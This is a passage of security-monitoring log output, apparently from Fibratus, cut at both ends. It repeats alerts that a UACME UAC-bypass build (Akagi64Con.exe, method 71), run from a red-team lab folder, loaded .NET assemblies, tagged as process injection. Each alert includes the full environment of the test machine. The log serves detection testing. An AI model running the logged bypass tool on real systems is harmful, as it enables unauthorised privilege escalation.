https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost\09dbc31dafee4ca41722bf76871e11ac\testhost.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022427 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.8740108 +0100 CET + Params: base_address➜ 7ffcd6700000, checksum➜ 0, default_address➜ 7ffcd6700000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost\09dbc31dafee4ca41722bf76871e11ac\testhost.ni.exe, image_size➜ 102400, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.name: Defense Evasion, technique.name: Process Injection + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net47\f05bcd7e24cefeb9cc45d630f8164c70\testhost.net47.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022453 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.8779841 +0100 CET + Params: base_address➜ 7ffcd6700000, checksum➜ 0, default_address➜ 7ffcd6700000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net47\f05bcd7e24cefeb9cc45d630f8164c70\testhost.net47.ni.exe, image_size➜ 102400, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 9665569474375319552 + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program 